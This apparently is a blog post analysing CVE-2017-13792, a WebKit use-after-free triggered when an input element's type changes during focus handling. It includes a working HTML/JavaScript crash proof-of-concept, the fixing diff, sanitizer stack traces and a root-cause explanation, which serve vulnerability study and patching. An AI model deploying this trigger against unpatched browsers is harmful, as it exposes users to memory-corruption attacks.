CVE-2017-13792: UaF in WebCore::InputType::element

PoC:
================================================================= <script> function go() { input.selectionDirection = "foo"; }
var i=0; function eventhandler() { i++; if(i==1) { input.setAttribute("autofocus", "autofocus"); div.appendChild(form); } if(i==2) { input.type = "image/x-unsupported"; } }
</script>
<body onload=go()> <div id="div"> <form id="form"> <input id="input" onfocus="eventhandler()" type="tel"> =================================================================
diff:
=================================================================
- if (event.isMouseEvent() - || event.type() == eventNames().blurEvent - || event.type() == eventNames().focusEvent) - { - element().document().updateStyleIfNeeded(); - - auto* renderer = element().renderer(); - if (element().renderer()) { - if (event.type() == eventNames().blurEvent) { - if (auto* innerTextRenderer = innerTextElement()->renderer()) { - if (auto* innerLayer = innerTextRenderer->layer()) { - bool isLeftToRightDirection = downcast<RenderTextControlSingleLine>(*renderer).style().isLeftToRightDirection(); - ScrollOffset scrollOffset(isLeftToRightDirection ? 0 : innerLayer->scrollWidth(), 0); - innerLayer->scrollToOffset(scrollOffset, RenderLayer::ScrollOffsetClamped); - } - } - capsLockStateMayHaveChanged(); - } else if (event.type() == eventNames().focusEvent) - capsLockStateMayHaveChanged(); - - element().forwardEvent(event); - } - } + bool isFocusEvent = event.type() == eventNames().focusEvent; + bool isBlurEvent = event.type() == eventNames().blurEvent; + if (isFocusEvent || isBlurEvent) + capsLockStateMayHaveChanged(); + if (event.isMouseEvent() || isFocusEvent || isBlurEvent) + element().forwardEvent(event); +} + +void TextFieldInputType::elementDidBlur() +{ + auto* renderer = element().renderer(); + if (!renderer) + return; + + auto* innerTextRenderer = innerTextElement()->renderer(); + if (!innerTextRenderer) + return; + + auto* innerLayer = innerTextRenderer->layer(); + if (!innerLayer) + return; + + bool isLeftToRightDirection = downcast<RenderTextControlSingleLine>(*renderer).style().isLeftToRightDirection(); + ScrollOffset scrollOffset(isLeftToRightDirection ? 0 : innerLayer->scrollWidth(), 0); + innerLayer->scrollToOffset(scrollOffset, RenderLayer::ScrollOffsetClamped);
=================================================================

Key function calls of this bug:




So that "onfocus" event was triggered twice.

Where did it free:

freed by thread T0 here:
    #0 0x10a37e294 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x57294)
    #1 0x11e0c9650 in bmalloc::Deallocator::deallocateSlowCase(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d72650)
    #2 0x111c873a8 in WebCore::HTMLInputElement::updateType() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd8d3a8)
    #3 0x111c887b5 in WebCore::HTMLInputElement::parseAttribute(WebCore::QualifiedName const&, WTF::AtomicString const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd8e7b5)
    #4 0x111847538 in WebCore::Element::attributeChanged(WebCore::QualifiedName const&, WTF::AtomicString const&, WTF::AtomicString const&, WebCore::Element::AttributeModificationReason) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x94d538)
    #5 0x111855711 in WebCore::Element::didModifyAttribute(WebCore::QualifiedName const&, WTF::AtomicString const&, WTF::AtomicString const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x95b711)
    #6 0x111846fef in WebCore::Element::setAttributeInternal(unsigned int, WebCore::QualifiedName const&, WTF::AtomicString const&, WebCore::Element::SynchronizationOfLazyAttribute) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x94cfef)
    #7 0x1126f1366 in WebCore::setJSHTMLInputElementTypeSetter(JSC::ExecState&, WebCore::JSHTMLInputElement&, JSC::JSValue, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x17f7366)

Use:

#0 0x10f18eedd in WebCore::InputType::element() const (/Users/murasaki/_debug/webkit/WebKitBuild/Debug/WebCore.framework/Versions/A/WebCore:x86_64+0x515edd)
    #1 0x116325345 in WebCore::TextFieldInputType::forwardEvent(WebCore::Event&) (/Users/murasaki/_debug/webkit/WebKitBuild/Debug/WebCore.framework/Versions/A/WebCore:x86_64+0x76ac345)
    #2 0x110f27108 in WebCore::HTMLInputElement::defaultEventHandler(WebCore::Event&) (/Users/murasaki/_debug/webkit/WebKitBuild/Debug/WebCore.framework/Versions/A/WebCore:x86_64+0x22ae108)
    #3 0x110411d29 in WebCore::callDefaultEventHandlersInTheBubblingOrder(WebCore::Event&, WebCore::EventPath const&) (/Users/murasaki/_debug/webkit/WebKitBuild/Debug/WebCore.framework/Versions/A/WebCore:x86_64+0x1798d29)
    #4 0x110411235 in WebCore::EventDispatcher::dispatchEvent(WebCore::Node&, WebCore::Event&) (/Users/murasaki/_debug/webkit/WebKitBuild/Debug/WebCore.framework/Versions/A/WebCore:x86_64+0x1798235)
    #5 0x11039e86c in WebCore::Element::dispatchFocusEvent(WTF::RefPtr<WebCore::Element>&&, WebCore::FocusDirection) (/Users/murasaki/_debug/webkit/WebKitBuild/Debug/WebCore.framework/Versions/A/WebCore:x86_64+0x172586c)
    #6 0x1110c5789 in WebCore::HTMLTextFormControlElement::dispatchFocusEvent(WTF::RefPtr<WebCore::Element>&&, WebCore::FocusDirection) (/Users/murasaki/_debug/webkit/WebKitBuild/Debug/WebCore.framework/Versions/A/WebCore:x86_64+0x244c789)
    #7 0x10ff94b51 in WebCore::Document::setFocusedElement(WebCore::Element*, WebCore::FocusDirection, WebCore::Document::FocusRemovalEventsMode) (/Users/murasaki/_debug/webkit/WebKitBuild/Debug/WebCore.framework/Versions/A/WebCore:x86_64+0x131bb51)


Currently, TextFieldInputType::forwardEvent synchronously triggers style recomputation, for the purpose of scrolling to the origin upon handling a blur event, and also for updating caps lock state after a blur or focus. In synchronously triggering style recomputation, we may end up running arbitrary JavaScript, which may change the HTMLInputElement's type and cause the current TextFieldInputType to be destroyed.


Comments

Popular posts from this blog

CVE-2017-5121 Escape Analysis

CVE-2018-0777 Code Motion

Three UaFs when iterating through HTMLFormElement::associatedElements